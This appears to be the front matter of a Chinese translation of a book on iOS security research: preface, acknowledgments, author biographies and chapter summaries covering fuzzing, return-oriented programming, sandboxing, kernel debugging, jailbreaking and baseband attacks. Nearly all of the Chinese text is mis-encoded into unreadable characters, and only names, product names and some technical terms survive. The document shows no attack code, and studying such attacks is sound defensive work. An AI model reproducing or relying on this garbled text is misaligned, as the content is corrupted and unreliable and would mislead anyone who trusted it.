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ǉ࢒ਜ਼ݞ߿रຍԐۆ i̟OS ํ቟ೊǊඇ௬঻ถ iOS ፕᇱ૙ˈত๖କ੗ీྰၾ߾ҾඇႠतڦ iOS ᅎۯยԢ

ೝ໼ǄԨກాඹԈઔڦሰᅃ߲߸ҾඇٶႾˈዂ૰ᇀײऍ߿୑۴ࢅ၃ޅ໯ᆶҾඇڦ i̟OS ยԢࢅ iOS Ҿඇॐ

ǃiOSࠓ ሞഓᄽዐڦᆌᆩ˄ഓᄽ࠶૙ޜࢅခ༵ࠃ ǃ˅े ௢௺ߌຕ਍تڦ૙ǃپஓധఁǃ෭ڦ࢈၎࠲ऐ዆ᇑت૙ǃ

ᆩఇ֪ࢵ๬ٗఐණ iOS ᆌᆩዐֱቴ୑۴ǃՊႀ୑۴߿ऍײႾǃ௬ၠײڦ࣮ݓႾยऺ˄ROP ǃ˅iOS ๬ۙࢃా

ᇑ୑۴อֱǃሁᇢ߾ፕᇱ૙ᇑ߾ਏǃएتټ૙ഗǄ

Ԩກ๢ࢇ໯ᆶထྭକ঴ iOS ยԢ߾ፕᇱ૙ڦටბသ֖੊ˈԈઔዂ૰ᇀᅜҾඇݛ๕٪ئຕ਍ڦᆌᆩਸ݀

ටᇵǃԍቱ iOS ยԢҾඇڦഓᄽ࠶૙ටᇵǃٗ iOS ዐლቴ᥂ڦهҾඇჺ৯ටᇵˈᅜतထྭබ෇ሁᇢม൶ኁǄ
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ੇਆਕ៘ੇᄉߔݸ AndreaὋਕ៘ݜᄉ፥፥ྕ਒ˀʿறஂ૆Ὃᤆ᜵៘៘ੇ̝ྕᄉЇߔ Theo ֖

LeviὋ̴͂࠱௦ iOS ᳫ֖ࠆᡔ࿜ႌᄉளၶ̼Ҧ᧙ǌ 
úúCharlie 

 

ᯪЎὋੇ᜵ਕ៘ੇᄉ̠ࠑ AlaynaǋSimon ֖ OliverὋਕ៘ᤇі˓త౎ੇඇ௸ʽာࠑٿՐҪာ

Ҫཁࢹͺௐ̴͂੝ፋ̀ᄉᏬॶˀСྕǌੇ ᤆਆਕ៘ᡔ࿜ᇪӜଡΘᄉሗሗࣞүǌ̴ ͂ᬓ˿धԦ˃ˉ

ᄉᡔ࿜ࢹХὋᤆଡΘ˿ॡܲᑞᝧ߶Кᆐቂ̠տᄉࢹͺԪ३ఝҪኤӬᄉ஠ು὇ඊݟ iPhone wikiὈὋ
̾Ԣၸ̅ଡԨ֖νஇ iOS  Хǌࢹᄉ͇ڌ

úúDionysus 

 

ੇ᜵ਕ៘ੇᄉྗආǋ̾ݷݷԢࠚԣࠪੇᄉʿறஂ૆ὋྱѾ௦ੇڙԟˀᎃз൤˹ᄉᤇൿௐᫍ὚

෤థ̴͂ᄉពὋੇਆੇ௉Ⴑ˿ǌੇᤆ᜵ਕ៘ iOS ᡔ࿜ࢹХधԦᇪӜὋਕ៘ᇪӜ੆տᤈᛠ˿ܷ᧙ᄉ

੾శᆐቂࣲБ᠟Ԧ࣊धԦѢᄉࢹХὋ̴͂ᤆ࣡࣡ଡΘКᦉᄉຸ̼ᆉǌణՐὋੇᤆ᜵ਕ៘ Pablo ֖

Paco  ʼ൒з˹ௐଡΘᄉࣞүǌੇڙ
úúDino 

 

ੇਆਕ៘ੇᄉԤ̝ǋ֖׍׍ՉͮࠚԣὋਕ៘̴͂঳௦ஂ૆ੇὋגঢੇϥ࠶гѢႱ࿈ᄉਆกǌ

ԲܰὋੇᤆ᜵ྱѾਕ៘ੇࣱܲ౎ᄉ༦᱇ͦΛ Namiǌ 
úúStefan 

 

ੇਆਕ៘ੇڙ˓̠ၶา֖˃ˉᮖ۪˖Ὃඇʶ˓ࣞүੇ෸ᅋᤇ్ۃڬ˧᤬ʶᡸᡋ౎ᄉ̠ǌੇ

ਆਕ៘ᄉ̠ܹܲڙࠃὋᄽᄉ෤Ҩกڙᤇ᧖ʶʶѴѢǌੇྱѾਕ៘ڙᎃзఴ˹ௐүੇʶᒥ˧Ҧᄉ

Naike ֖ Maxǌ 
úúVincenzo 
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ੇਆਕ៘ੇᄉݘݸὋ᫁͂ݜ˝ځˣ̾౎ʿ३ʿॼԩੇڙзͺௐࠪ͂ݜ᜼ᔩ௃ᅛǌੇ᜵ਕ៘

Thomas DullienǋJoshua Lackey ֖ Harald WelteὋڙ 2010 ࣱੇᆐቂ۲ࣛᄉі˓త˖Ὃੇ͂ᤈᛠ˿

ॡܲࠜథըԦবᄉଉᝦǌ᭣࣡ਕ៘ Jacob AppelbaumὋ̴ᝧੇଋᝎҁ˿Ԧᡐੇ᜵ᆐቂᄉ˞ᮤᄉᥦ

ር࣍ǌੇᤆ᜵ࠪᥦ̎ʿਜ႐Տᄉ࣪Րᔭ᬴ᛪᇧਕ៘Ὃ̴͂ᅻ᥊ੇឬᄉ௦ឹὋਕ៘̴͂੝ϡᄉࢹ̎

ʶѬὀణՐੇ᜵ਕ៘ iPhone Dev Team ੝ϡᄉࢹͺὋ᜵௦෤థ̴͂ᄉ੆౦Ὃॡܲ̂ৰࡂ᜵ᬱҨॡ

ܲǌڙ൤ὋੇྱѾਕ៘ MuscleNerd὇ᐜᐚႃὈ֖ planetbeing ᜁੇڙ iPhone4 ᬱͰௐଡΘᄉࣞүὋ

ᤆ᜵ਕ៘ roxfan ˝ੇଡΘ˿̴ᄉѫ஘Ҫᣑᑭఴǌ 
úúRalf 
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iPhoneࣂፂ᫇ˆ 5ࣱథͷὋ̠ ܷ͂ഏᦏࣂፂঃ˿ॆௐᄉ iPhoneܲ˥ХథधѸ਒˦ǌᥦௐϊᤆ෤

థဗڙᤇಧᄉఄᑞ੣఺Ὃॡܲ੣఺˶ࡂ௦ၸ౎੩੩ႂពǌథ̎੣఺˖߶ᜈ˿ Web เ᜾٧Ὃࣲͭ᭣

КҩᑞᄉὋԵᑞյဗణ۲ఴᄉᎩᮅὋᏪ˄੣఺࣪ࡕᄉѫᣱည᭣࣡ͯǌڙݝὋiPhoneஇԪ˿ᤇʶѬǌ 
iPhoneᄉ௬ᇧࡕі˪ӳ૵ஞ˓ґ᭦౛Ὃథᅋ۲̅ WebKitᄉ Web เ᜾٧ὋᏪ˄ФୱͺጆፑԺ̾

ၿၸਖ਼ᒬᛠӣጞὋʿ ᭉ᜵ኍᅋᤁᖸ׷౎ϡᤇᮉࢹͺǌвҪʼߚϱཱྞǋ୦உᮂˬ֖ԦᤞᆀζኍҩᑞὋ

ᤇ੥௦̠͂ᄽൣਆ᜵઴థᄉ੣఺὇ԟ᜸ڎ 1Ὀǌͭ௦ὋiPhone ࣲʿ߸Ꮎǌኃʶ̼ iPhone ஜ૵͛ᣤᤳ

ऎ᭣࣡ਤὋʿஂ૆ኃʻழःၸὋᏪ˄߶КবྱѾࢿὋʿ᣾߱ԁलᮖ˿ఄᑞ੣఺ࣰ֖౛ႂᑧᄉ᭨֐ǌ 

 

ڎ 1� ͔ܲ๖᠟Ꮷଅ᫲ኍय़᠓˻ኃʶ̼ iPhone 

 ౎ຸὙMark Kriegsman὇http://www.flickr.com/photos/kriegsman/663122857/Ὀǌྞڎ
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ᬣᅋኃʶ̼ iPhone̅ 2007ࣱ᫇ˆὋʁ ጆѴФ̴ᄉᔰ౦ֵ̖˶ᬣ˧Ꮺ౎ὋᏪ߱͂ᦏᤁᛠᅋ iOSǌ
ॆཨὋڙኃʶ̼ iPhone ኍ᝹᫇ܫˆௐᤇ˓ୱͺጆፑᤆʿԶ iOSǌኃʶ̼ iPhone ΍ၸᄉୱͺጆፑ

ᜁᔰ౦МՂሥ˝ OS XὋࡂϷФಷ᭦ྟᄉþЋ᫁ÿᥦಧǌᏪڙ 2008 ࣱኃ̼̃ iPhone ѢဗௐὋᤇ

˓ୱͺጆፑᜁሥ˝ iPhone OSǌᥦௐϊ߱ᤆʿᑞ઴థ iOS ᤇ˓ሥ֏Ὃځ˝ধመМՂ˝ᡸၿ٧᝹᝟

ᄉୱͺጆፑЎӳၸ˿ IOS ᤇ˓Տሥǌፂ᣾ʶ႖̓௛Ὃᔰ౦МՂ̯ 2010 ࣱᡐൣय࠱ФሧҮୱͺጆ

ፑ֐Տ˝ iOSǌ 
ጊᬣ iPhone ˧Րᄉ iOS ᝹ܫ௦ iPod Touchǌᤇሗ᝹۲ܫఴʼࡂ௦˓ʿᑞ੩ႂពʿᑞԦᆀζᄉ

iPhoneǌФ̴ iOS ᝹ܫӉહኃ̼̃ Apple TV ֖ iPadǌᤇ̎᝹ܫඇ଍Ѣளᄉʶ̼Ὃᦏ௦ఝঋǋఝ

ௐᰶǋఝܲҩᑞᄉֵ̖὇ڎݟ 2 ੝ᇧὈǌ 

 

ڎ 2� iPhone 4὇ࢺὈˀ iPhone 1὇ԾὈᄉࠪඊ 

ܼкὖ㾜 

ʿ᣾Ὃ̠͂᤯࣡Եซ਒ᤇ̎᝹ܫЏᱤᄉܰᛪὋॡ͗࠵Ԝ˿ᝌ߱͂ᄉЮᦉࢹͺԓူǌஜᄇʹ̠

ඇܸᬣᢵ୅ࣛߚஉᅋ̴͂˓̠ζোᄉᤇ̎࠴᝹ܫὋͭ߱͂ҁऄ߶К՘὞ڙՉሗ߶Кܷ͗ᄉ໥ᝮ

˖Ὃڙᡔ࿜ᇪӜ᧖Ὃၴᒯڙᆐቂ̠տᄉ˓̠௅ং˖Ὃੇ͂ᦏԺ̾ԦဗС̅ iOS ᤁᛠ߶Кᄉζোǌ

ఴ˹ࡂ௦᜵ઁᤇ̎థС iOS Юᦉԓူᄉᅻខ඼঳ᡐ౎ǌԵథᝧ̠͂ᦏᑞଋᝎҁᤇ̎ζোὋ੥ᑞᝧ

˓̠֖͌ˉథ஌᝿ͤ΍ၸᤇ̎᝹ܫᄉ᮲ᬖὋࣲ ˿ᝌݟʹణܷᬌऎڠᬋͯᤇሗ᮲ᬖǌఴ˹ၴᒯԺ̾

ଡΘʶ̎ᝧ᝹ܫఴᢵఝ߶Кˀᝧၸਖ਼΍ၸᡐ౎˶ఝ߶Кᄉধᡸǌ 

ᴀкݙᆍ 

ఴ˹௦૊ iOS ߶Кҩᑞ˞ᮤѲѫብᓫᄉὋឳᏧԺ̾ၸʿՎᄉழय౎᫝ឳఴ˹ǌʿ ཿ৘ᤇ̎˞

ᮤ੊௦ʿਆᩱ᣾͉ʹЮࠓᄉឳᏧԺ̯̾ܿᒯࡊ᫝ឳஞఴ˹ǌఴ˹̯ᄰࠪ۲ᆨᄉብᓫधݼὋၿุЙ

ຆڠਤਤ᣾ນҁՐ᭦ᣖ˝ܬఽ֖ຆݗᄉብᓫǌᏪᥦ̎ࣂፂࠪ iOS ᄉЮᦉጹᓫథ੝˿ᝌᄉឳᏧԺ̾

���Ԛѫմ�INGS॑ࢲ֣��Ћцߓ୍࣍س�



ґ� � ᝒ� � 3 

 

1 

2 

3 

5 

7 

10 

12 

8 

9 

4 

6 

11 

᡹᣾धܿᦉѫὋᄯଋ᫝ឳᒬࣁਕТᡙᄉᥦ̎ብᓫǌඇʶብᄉЮ۲ࠓఴʼᦏ௦ᄰࠪ࿗በᄉǌڙଡҁ

Ф̴ብᄉ˞ᮤௐὋੇ͂ᦏ͗ૈ௙Ѣܪǌʽ᭦౎ᄹʶʽఴ˹˖Չብᄉ˞᜵Юࠓǌ 
� ㄀ 1 ゴഏᤗ iOS ᝹֖ܫ iOS ߶К౵ౝǌੇ͂ڙ൤̭ፀఴ˹Фͷᦉѫ੝᜵ᝦ᝶ᄉܷᦉѫ˞

ᮤὋణՐᝦ᝶᧪ࠪՉྟ iOS ԦҮᄉʶ̎ஈѣὋӉહణ௉యᄉʶ̎ஈѣ֖᧪ࠪ iOS 5 ߶К౵

ౝᄉʶ̎ஈѣǌ 
� ㄀ 2 ゴᝦ᝶ iOS ክူ֖నҫଡΘ˧ዜᄉ˞ᮤǌ൤ܰὋᤇˉ͌ݟᄉ΍ၸὋ๗Ԣឰ˖ˉ͌ڙ

ʶብᤆᝮᤗݟʹ˝͌ˉ᝹ܫधԦःၸὋӉહधԦᏧ᝼˹֖ᦠᎵഏ᜵஠͇ᄉࢹͺԓူǌ 
� ㄀ 3 ゴӉդˀ iOS ඇԻ˝ʹݟஏਕஜ૵ᄰСᄉζোǌᤇʶብഏᤗࠚҪူܪ iOS ᝹ܫ३Ѣ

Ҫࠚࠚᨄ̾Ԣݟʹ΍ၸᤇ̎ҪࠚࠚᨄǋՉሗኍጞᄉҪ̾ࠚԢඇሗኍጞʽᦏథ̎ג஠͇Ὃ

ᝦ᝶धԦ̠տݟʹѽၸ Data Protection API γએःၸ˖ᄉஏਕஜ૵ǌణՐὋੇ͂ᤆࡘ࠱ᇧ

ᆉὋ̾Ԣࠚ᤯᣾ᙹҦஈѣᆠᝌʹݟ 4 ͮஜࠚߙᆉᄉᑠिবǌ 
� ㄀ 4 ゴ᧪ࠪ iOS ຆЙ̭ፀʶሗ˞᜵ᄉ߶К఺҃úú̼ᆉኣՏǌੇ͂࠱˝ឳᏧյဗᄰСᄉ

ຸ̼ᆉ֖ᤣՓࢹር̃ᤈ҃஠͇Ὃ߱͂ၸ̅ᆷγԵథၿԩζ͉఺ౝኣՏᄉ̼ᆉ੥ᑞڙ᝹ܫ

ʼᤁᛠǌᤇʶብᤆ࠱᧗ཁ̭ፀ iOS ̼ᆉኣՏ఺҃˖ᄉளЮࠓὋ߱͂˝ࠃဗԀௐᎃដᏪЉ

᝴లኣՏᄉ̼ᆉ̾ʶሗːಪԩଌᄉழयᤁᛠǌణՐὋੇ̭͂ፀ iOS 5 ᄉ௉యྟఴ˖Ѣဗᄉ

̼ᆉኣՏ఺҃໣วǌ 
� ㄀ 5 ゴ̭ፀ iOS ˖๗Ԣ෡ᄣᄉ఺҃ǌੇ͂ࡘ࠱ᇧ iOS Юನݟʹஂ૆ઁᨈߔርࣿஉᎵڙС

᪃Ӝ۪Ὃᝦ᝶෡ᄣХͳၸҁᄉᨈߔὋཨՐˠΒឬ௙ःၸݟʹ߸੆ᒬࣁᄉ෡ᄣူܪὋࣲᝮ

ᤗ᧗᜵ᄉ iOS ҩᑞ௦ݟʹ੯ᛠ෡ᄣူܪᄉǌణՐὋᤇʶብ࠱ᝦ᝶෡ᄣଠᤗ஠͇ǋᤇ̎஠

̯ʹݟଠᤗ෡ᄣ੝᝴ԺᄉҩᑞὋ̾Ԣʹݟ͇ iOS ̃ᤈ҃஠͇˖ଡԨᤇ̎஠͇̾ၸ̅ᆐቂǌ 
� ㄀ 6 ゴࡘᇧݟʹѽၸഴዹ฽ណ੾శ̯᳭ᝢᄉ iOS ःၸ˖੼ҁ໣วǌੇ͂ᯪЎ፫Ջଉᝦഴዹ

฽ណὋଋᅋࡘᇧݟʹࠪ iOS ˖ణܷᄉԩஈѣ᭦ MobileSafariᤈᛠഴዹ฽ណǌᤇʶብ᧗ཁ̭ፀ

ᤈᛠ iOS ഴዹ฽ណᄉіሗʿՎழयὋӉહڙ Mac OS XǋiOS ഴ઱٧̾Ԣ iOS ᝹ܫʼᤈᛠഴ

ዹ฽ណǌణՐὋੇ͂ᤆࡘ࠱ᇧݟʹࠪԻय఺ʼ෤థᄉ SMS ᝌౡ٧ᤈᛠഴዹ฽ណǌ 
� ㄀ 7 ゴᝮᤗݟʹѽၸኃ 6 ብ̭ፀᄉ੾శ੼ҁ໣วὋࣲ࠱Фᣀ૰˝థ஌ᄉ໣วஈѣርࣿǌ

សጹѫౡ࠱͂ੇ iOS ᄉ۶ክူጆፑὋࣲឬ௙ݟʹѽၸþ۶᮲පÿ੾శୱଌ۶ЮߚǌཨՐὋ

ᤇʶብᝦ᝶໣วஈѣርࣿधԦ˖ᄉʶ˓˞᜵ᬩᆽúúڦڠቆᫍ࣊ࡌᬣ఺Ӑ὇ASLRὈǌ 
� ㄀ 8 ゴᤈʶ൥Փܷࡘࠑᇧڙଌ҃ᤈርՐԺ̾ϡ̣̎˥ǌڙኤ᜵̭ፀ iOS ᝹ܫ˖΍ၸᄉ

ARM ౵ౝՐὋੇ ࢹ੣ʹݟፀ̭ࠑՓܷ࠱ᄉርࣿ᝹᝟὇ROPὈǌᤇ᧖ٿᣀᏪ̭ፀ᭦Փᤄࡂ͂

Ѹत֖ᒬҮၶ੆ ROP థ஌ᣑᕲὋᤆ࠱ፋѢʶ̎ ROP థ஌ᣑᕲᄉΒߔǌ 
� ㄀ 9 ゴ̯ၸਖ਼ቆᫍᣀЙЮನǌ̭ڙፀʶ̎Юನ۲ᆨᅻខՐὋੇ͂ଋᅋଠᤗݟʹុណ iOS

Юನ̯ᏪᄢଌФҮখǌᤇʶብᤆࡘ࠱ᇧݟʹࠪЮನᤈᛠ໣วࠅಉ̾Ԣݟʹѽၸ੼ҁᄉՉ

ሗ໣วǌ 
� ㄀ 10 ゴ̭ፀᡔ࿜ǌᯪЎὋᤇʶብᝮᤗథСᡔ࿜ࢹͺԓူᄉ۲ᆨᅻខὋଋᅋសጹଠᤗʿՎ

ዜۋᄉᡔ࿜ࢹХὋཨՐഏᤗᡔ࿜ࢹХ੝ᭉᄉʿՎጷ੆ᦉѫὋӉહࠪ஠͇ጆፑᄉνஇǋࣂ

߶ᜈᄉߵએᤈርǋ༎าὋణՐᤆ࠱᤯᜾ᡔ࿜ѽၸᄉ੝థЮನᛩʷǌ 
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� ㄀ 11 ゴ̭ፀॡܲ iOS ᝹ܫ˖ᦏథᄉԲʶ˓٧ူܪúú۲ࣛ٧ူܪǌੇ͂ࡘ࠱ᇧݟʹ᝹Ꮅ

ˀ۲ࣛᤈᛠ̓̈ᄉࢹХὋࣲ̭ፀ̯᣾Ԝҁဗڙ iOS ᝹ܫᄉ۲ࣛ˖ᦏ΍ၸ˿ࠃ̎גௐୱͺ

ጆፑὋཨՐឬ௙۲ࣛࠪʹݟୱͺጆፑᤈᛠࠅ᝟ὋᤆፋѢ˿ʶ̎໣วᇧΒǌణՐὋᤇʶብ

ᤆ࠱ଠᤗʶ̎Ժ̾۲ࣛڙୱͺጆፑʼᤁᛠᄉథ஌ᣑᕲǌ 

䇏㗙ᇍ䈵 

ఴ˹௦˝੝థ࣎భ˿ᝌ iOS ᝹ࢹܫͺԓူᄉ̠੝зᄉǌ̴͂Ժ̾௦࣎భᚷЙᡔ࿜ᇪӜᄉ̠Ὃ

˶Ժ̾௦ណڎ˿ᝌݟʹ̾߶Кழयߚϱஜ૵ᄉःၸधԦ̠տὋᤆԺ̾௦ਆ᜵˿ᝌݟʹγᬩ iOS ᝹

ណ̯࠼Кᄉ͌ˉክူ̠տὋ੊Ꮷ߶ܫ iOS ˖ࠬ੼၅Ⴗᄉ߶Кᆐቂ̠տǌ 
ᤇ̎ᄫಕឳᏧі˪ᦏःឞ᫝ឳ֖ူᝌఴ˹ґ᭦ᄉብᓫǌᙉཨՐ᭦ᄉብᓫ˶ᦏណᅋ̯۲ᆨᅻខ

ध̭ݼፀὋͭ ௦ူᝌᤇ̎Юࠓᒯ࠵ᑞཿ৘ʶ̎۲ఴݒᡸὋඊழឬݟʹ΍ၸុណݟ٧֖ʹ᫝ឳ̼ᆉ

ຌӬኍǌ 

᠔䳔Ꮉ݋ 

Եਆࠪࠑ౦ܷݟ iOS ᄉࢹͺԓူథ˓ѹ൥ᄉ˿ᝌὋఴ˹߸КԺ̾໗ᡛᭉ᜵ǌʿ᣾Ὃ˝˿ଁଦ

ఴ˹ᄉፏܷᦉѫЮࠓὋੇ͂࣎భܷࠑԟཱ˹˖ᇧΒڙᒬࣁᄉ iOS ᝹ܫʼᤈᛠୱͺǌᤇಧᄉពὋܷ

ᭉ᜵ʶᦉ࠵ᒯࡂࠑ iOS ᝹ܫǌ˝˿ᄽൣଁଦᤇ̎ΒߔὋܷࠑᭉ᜵˝ iOS ᝹ܫᡔ࿜ǌ൤ܰὋᙉཨథ

Ժᑞ˝Ф̴ࣰԻѓᴎʶݒᑞᡐͺၸᄉࢹХὋͭ ௦˝˿΍ၸ Xcode ᎃដᇧΒርࣿὋܷ థʶԻݝణࠑ

ᤁᛠ Mac OS X ᄉ᝟ኪ఺ǌ 

䜡༫㔥キ 

ఴ˹ᦠݒᎩቢ www.wiley.com/go/ioshackershandbook ˖థఴ˹ᄉ੝థ̼ᆉĿὋځ൤ܷࠑʿᭉ᜵

ᒬࣁʶᛠʶᛠ஝̼ᆉǌ൤ܰὋࠪ̅˹˖ଡҁᄉ iOS ྱథᄉࢹХὋԵ᜵థԺᑞੇ͂ࡂᦏ͗அेڙឞ

Ꭹቢʼǌఴ˹Ӏឧ˶ԺڙఴᎩቢʼಉលὋݟ౦ܷࠑԦဗఴ˹ᄉᩱ໣˧ܪὋᤆభʿ՚ᠶஓǌ 

⼱䌎໻ᆊ 

ᄉࣁᒬྕ؝͂ੇ iOS ᝹ܫὋੇ͂ᦏ௦౦ዟǌʿ᣾Ὃ᜵௦ஈѣᏧʿᑞ̯˖ቊԨ˓̠ζোᄉពὋੇ

͂͗ఝ؝൓ᤇ̎᝹ܫǌࡉክ᫝ឳఴ˹ᤇಧᄉ˹ዙ෤กᝧܷࠑ᫽ൢ੝థ᧪ࠪ iOS ᄉஈѣὋͭ Եథᡔ౎

ᡔܲᄉ̠˿ᝌ iOS ᄉ߶КবԢФࢹͺԓူὋiOS ੥Ժᑞ੆˝ʶ˓ఝ߶КᄉࣰԻǌឯܷࠑэݝܫὋੇ

͂ᯰʼࡂ᜵ଉጉ iOS ߶К˿ὋᏪ˄᜵ҰҦᝧ߱Ԫ३ఝ߶КǌඋቤὋథ੝˿ᝌࡂኍ̅੆ҩ˿ʶӦǌ 

üüüüüüüüüü�
Ŀ ఴ˹ຸ̼ᆉ˶Ժڎڙ༦ᇪӜఴ˹Ꭹᮅ὇http://www.ituring.com.cn/book/1068ὈБ᠟ซбʽᣑǌúúᎃᏧซ 
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Charlie Miller� Accuvant Labs ᯪࣝᆐቂᮎ᫇ὋడڙᎾࠑڍڍ߶Кࡌઝ͉КီᎩፎ໣วஈѣ 

ѫౡ࣍ 5 ࣱὋᤋ፝ 4 ࣱᡄ३ CanSecWest Pwn2Own ᳫܷࠆᠾǌ̴Ԧဗ˿ iPhone ˀ G1 ߶ӫ੣఺ኃ

ʶ˓Мधᄉᤉር໣วὋ᤯᣾ᆀζࠪ iPhone ᤈᛠ໣วஈѣࣲԦဗ˿Ժ̾ᝧৎ਒ᣃ͇ᤈЙ iOS ᄉ̼

ᆉኣՏ఺҃Ꭴᬝǌͅ ˿ᄉ̴ᤆˀ̠Ջᗂܢӯߥආܷژ˝ The Mac Hacker's Handbook ֖ Fuzzing for 
Software Security Testing and Quality Assurance ˏఴζো߶Кዜڎ˹ǌ 

 
Dionysus Blazakis� ርࣿտ֖߶Кᆐቂ̠տὋ୰᫁໣วஈѣᎀᝌ੾శὋፂ࣡ڙ߶К͗ᝫʼ 

ԦᛪథС໣วஈѣᎀᝌ੾శǋፈ᣾ᎀᝌ੾శ֖ࠬ੼໣วᄉளழกኍ˞ᮤ໥ᝮὋځѽၸԀௐᎃដ٧

ፈ᣾ஜ૵੯ᛠγએᄉ੾శᡄ३˿ 2010 ࣱ Pwnie Award ణХѸளᆐቂݑǌԲܰὋ̴ ˀ Charlie Miller

˝ԟҪ 2011 ࣱ Pwn2Own ܷᠾधԦᄉ iOS ໣วஈѣርࣿᡄ३˿ iPhone ໣วஈѣඊᠾᄉܷݑǌ 

 
Dino Dai Zovi� Trail of Bits ᐎՋѸ֖̠ݼᯪࣝ੾శ߽ὋథӠͷࣱζো߶Кᮖ۪̯ˉፂᰍὋ 

ϡ᣾ጙ᫲὇red teamingὋԠሥþ͟ူᳫࠆÿὈǋຕᤨ฽ណǋᣃ͇߶Кǋζো߶Кክူ֖Ꭹፎ߶Кᆐ

ቂˀधԦኍܲሗࢹͺǌDino ௦ζো߶К͗ᝫᄉ࣡ࠆὋڙ DEFCONǋBlackHat ֖ CanSecWest ኍˆ

ႌᅻՏᄉζো߶К͗ᝫʼԦᛪ᣾ࠪЮߚ૮ڭѽၸ੾శǋ802.11 ௃ጲࠆਖ਼ቪஈѣ֖ᔭྱ࠶ VT-x ᘾ

઱Ӑ rootkit ርࣿኍាᮤᄉ࿗በᆐቂ੆౦ǌ̴ ᤆ௦ The Mac Hacker's Handbook ֖ The Art of Software 
Security Testing ᄉՋᗂᏧǌ 

 
Vincenzo Iozzo� Tiqad srl ߶Кᆐቂ̠տὋBlackHat ֖ Shakacon ߶К͗ᝫ᝿ށࠅտ͗੆տὋ

ڙ࣡ BlackHat ֖ CanSecWest ኍζো߶К͗ᝫʼԦᛪ໥ᝮǌ̴ˀ̠Ջͺ˝ BlackBerryOS ֖

iPhoneOS ᎃз˿໣วஈѣርࣿὋځ 2010 ࣱ֖ 2011 ࣱᤋ፝ˏࡒᖌ३ Pwn2Own ඊᠾܷڙݑζো߶

Кᮖ۪Տܷܥ૜ǌ 

 
Stefan Esser� ڙځ PHP ߶Кழ᭦ᄉᤴវ˝̠ཿᅻὋ2002 ࣱ੆˝ PHP ನॶधԦᏧ̾౎˞᜵

Сซ PHP ֖ PHP ःၸርࣿ໣วᄉᆐቂὋ௉యԦᛪ᣾ॡܲС̅ CVSǋSambaǋOpenBSD ੊ Internet 

Explorer ኍᣃ͇˖໣วᄉઐնǌ2003 ̴ࣱѽၸ˿ XBOX ᄉᎀуӜຼѢ໣วὋڙߚ˖ͳҪᣑ٧ߙ

੆˝̯ԓԇ XBOX ᄉᆵᄧʼᄯଋल࠭ Linux ੆ҩᄉኃʶ̠὚2004 ࣱ੆በ Hardened-PHP ᮉᄫὋை

धԦఝ߶Кᄉڙ PHPὋ˶ࡂ௦ Hardened-PHP὇2006 ࣱᚷЙ Suhosin PHP ߶КጆፑὈ὚2007 ࣱˀ̠
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ՋҨॳڍ Web ःၸधԦМՂ SektionEins GmbH ࣲ᠆᠉ᆐԦࢹͺ὚2010 ࣱᡐሤ౜ᆐቂ iOS ߶К᫇

ᮤὋࣲڙ 2011 ࣱଡΘ˿ʶ˓ၸ̅ᡔ࿜ᄉ໣วஈѣርࣿ὇డڙᔰ౦ܲ൒ఝளՐࣳߚʽ౎Ὀǌ 

 
Ralf-Philipp Weinmann� ॳڍ᣹ݺஶࠚߥܷˉࢹྱ܈ᆉߥӯܢǋӵ೧ߥܷۿӯܢՐᆐቂտǌ

Տᤉ୦ᄉ̂ܥКኍॡܲ˞ᮤǌᝧ̴߶ܫǋሧҮ᝹ߥᆉࠚζো߶Кழ᭦ᄉᆐቂழՓ͔ܲὋ๗Ԣڙ̴

ᤛӉહԟˀᝧ WEP ᆠᝌҚཉଡᤳᄉᮉᄫǋѫౡᔰ౦ᄉ FileVault Ҫࠚǋ୰᫁ᤣՓࢹር੾శǋஈᆠ

DECT ˖ᄉ˃࡚ҪࠚኪกὋ̾Ԣ੆ҩ᤯᣾ఄᑞ੣఺ᄉ Web เ᜾٧὇Pwn2OwnὈ֖ GSM Өᝫಖᤈ

ᛠຕᤨஈѣǌ 
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iOSᅝܼ෎⸔ⶹ䆚 

 
ÿॆཨܫਆ᜵˿ᝌ߱ᄉ߶Кবǌᤇ᧖ᄉþ᝹͗ࡂܫ౦;˶Ϸੇ͂ʶಧὋᥦ˥Ե᜵ૅҁள᝹ݟ

˶ӉહiPhoneǌ߱ʿвԵ௦ࣛథۋ࠴Webเ᜾٧ᄉ੣఺ὋˀᏤय੣఺ᄰඊὋ߱ఝϷ௦᝟ኪ఺ǌॆ

ཨὋᤇ ὇̎̾Ԣ࠱౎ᄉὈ᝹ܫԺᑞڙߚˀԻय఺˖ᄰͪᄉ߶К᫇ᮤǌ̋ ˿ᥗБᤇ̎᝹ܫԩҁӿࠎὋ

ᔰ౦МՂ˝߱͂ЮᎵ˿ঞಧᄉᮔ᫸ଏஶ֖߶К఺҃փ὞ੇ͂ᅊґ௦ʶ˓धը᝟ኪᮖ۪Кளѫஂ

ᄉ఺͗ǌ߶Кবࠪᤇ̎ளТఄᑞ᝹ܫ౎ឬథܲ᧗᜵փ὞ 
ఴብ͗ࡂiOS᝹ٿܫኔᤇ̎᫇ᮤǌᯪЎὋੇ ͂᜵ᄹᄹՉሗiOS᝹ܫʼ΍ၸᄉᆵ͇ὋཨՐ̭ፀiOS 

5ᄉ߶К౵ౝǌ᧗ཁᝮʶᝮဗథ᝹ܫ˝˿᫸ᔴৎ਒ᣃ͇ஈѣ֖ஈѣᏧѽၸ໣ว੝Юࢥᄉܲࡎ᫸७

੣ൿǌଋᅋὋ̭ፀʶ̎ࣂፂԦၶᄉ᧪ࠪiOS᝹ܫᄉஈѣὋ̯Ꮺឬ௙ᤇ̎᫸७੣ൿڙဗࠃˆႌ˖௦

ԩҁᄉՉሗஈܫ૊ཱௐᫍЎՐᮊࣿὋ̭ፀ̯ణ௉ᄉiPhoneҁiOS 5᝹࠱ᡐ஌὇੊ܾ஌Ὀᄉǌᤆʹݟ

ѣǌ᫝ឳ᣾ር˖Ὃܷ ᄉ߶Кবథ˿ܷܲᄉଡᰳǌణѹྟఴᄉiOSі˪෤థ߶КবܫᄹҁiOS᝹͗ࠑ

ԺᝒὋͭiOS 5ᄰࠪᏪᝒѶ௄ुܷԠԺ᭤ǌ 

1.1� iOS ⹀ӊ/䆒໛ⱘ㉏ൟ 

іࣱ౎ὋiOSʶᄯڙԦࡘὋՉሗᔰ౦᝹ܫ˖ᄉᆵ͇˶ʿற଍ᬇѢளǌᬣᅋఄᑞ੣఺ࣰ֖౛ႂ

ᑧᄉ௾ԢὋ̠͂ᦏ࣎భ઴థʶԻुܷᄉ᝟ኪ᝹ܫǌ̯౼ሗ਒˦ʼᝮὋ̴͂యభᒬࣁԯ᛺᧖ᜈᅋᄉ

௦ʶԻႂᑧǌ 
